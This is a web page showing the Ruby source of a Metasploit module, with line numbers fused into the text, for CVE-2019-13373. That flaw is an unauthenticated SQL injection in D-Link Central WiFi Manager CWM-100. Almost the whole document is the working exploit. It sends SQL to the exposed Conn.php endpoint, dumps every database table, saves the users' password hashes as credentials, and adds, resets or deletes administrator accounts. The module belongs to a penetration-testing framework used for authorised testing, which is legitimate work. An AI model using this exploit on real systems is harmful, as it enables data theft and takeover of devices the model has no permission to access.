Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'csv'6require 'digest'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::SQLi1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'D-Link Central WiFiManager SQL injection',17'Description' => %q{18This module exploits a SQLi vulnerability found in19D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The20vulnerability is an exposed API endpoint that allows the execution21of SQL queries without authentication, using this vulnerability, it's22possible to retrieve usernames and password hashes of registered users,23device configuration, and other data, it's also possible to add users,24or edit database information.25},26'License' => MSF_LICENSE,27'Author' => [28'M3@ZionLab from DBAppSecurity',29'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module30],31'References' => [32['CVE', '2019-13373'],33['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']34],35'Actions' => [36[ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ],37[ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ],38[ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ]39],40'DefaultOptions' => { 'SSL' => true },41'DefaultAction' => 'SQLI_DUMP',42'DisclosureDate' => '2019-07-06',43'Notes' => {44'Stability' => [CRASH_SAFE],45'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],46'Reliability' => []47}48)49)5051register_options(52[53Opt::RPORT(443),54OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),55OptString.new('USERNAME', [false, 'The username of the user to add/remove']),56OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])57]58)59end6061def vulnerable_request(payload)62send_request_cgi(63'method' => 'POST',64'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),65'vars_post' => {66'dbAction' => 'S',67'dbSQL' => payload68}69)70end7172def check73check_error = nil74sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|75res = vulnerable_request(payload)76if res && res.code == 20077res.body[%r{<column>(.+)</column>}m, 1] || ''78else79if res80check_error = Exploit::CheckCode::Safe81else82check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')83end84'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error85end86end87vulnerable_test = sqli.test_vulnerable88check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)89end9091def dump_data(sqli)92print_good "DBMS version: #{sqli.version}"93table_names = sqli.enum_table_names94print_status 'Enumerating tables'95table_names.each do |table_name|96cols = sqli.enum_table_columns(table_name)97vprint_good "#{table_name}(#{cols.join(',')})"98# retrieve the data from the table99content = sqli.dump_table_fields(table_name, cols)100# store hashes as credentials101if table_name == 'usertable'102user_ind = cols.index('username')103pass_ind = cols.index('userpassword')104content.each do |entry|105create_credential(106{107module_fullname: fullname,108workspace_id: myworkspace_id,109username: entry[user_ind],110private_data: entry[pass_ind],111jtr_format: 'raw-md5',112private_type: :nonreplayable_hash,113status: Metasploit::Model::Login::Status::UNTRIED114}.merge(service_details)115)116print_good "Saved credentials for #{entry[user_ind]}"117end118end119path = store_loot(120'dlink.http',121'application/csv',122rhost,123cols.to_csv + content.map(&:to_csv).join,124"#{table_name}.csv"125)126print_good "#{table_name} saved to #{path}"127end128end129130def check_admin_username131if datastore['USERNAME'].nil?132fail_with Failure::BadConfig, 'You must specify a username when adding a user'133elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }134fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'135end136end137138def add_user(sqli)139check_admin_username140admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')141user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"142# check if user exists, if yes, just change his password143if sqli.run_sql(user_exists_sql).to_i == 0144print_status 'User not found on the target, inserting'145sqli.run_sql('insert into usertable(username,userpassword,level) values(' \146"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")147else148print_status 'User already exists, updating the password'149sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \150"username='#{datastore['USERNAME']}'")151end152end153154def remove_user(sqli)155check_admin_username156sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")157end158159def run160unless check == Exploit::CheckCode::Vulnerable161print_error 'Target does not seem to be vulnerable'162return163end164print_good 'Target seems vulnerable'165sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|166res = vulnerable_request(payload)167if res && res.code == 200168res.body[%r{<column>(.+)</column>}m, 1] || ''169else170fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res171fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200172end173end174case action.name175when 'SQLI_DUMP'176dump_data(sqli)177when 'ADD_ADMIN'178add_user(sqli)179when 'REMOVE_ADMIN'180remove_user(sqli)181else182fail_with(Failure::BadConfig, "#{action.name} not defined")183end184end185end186187188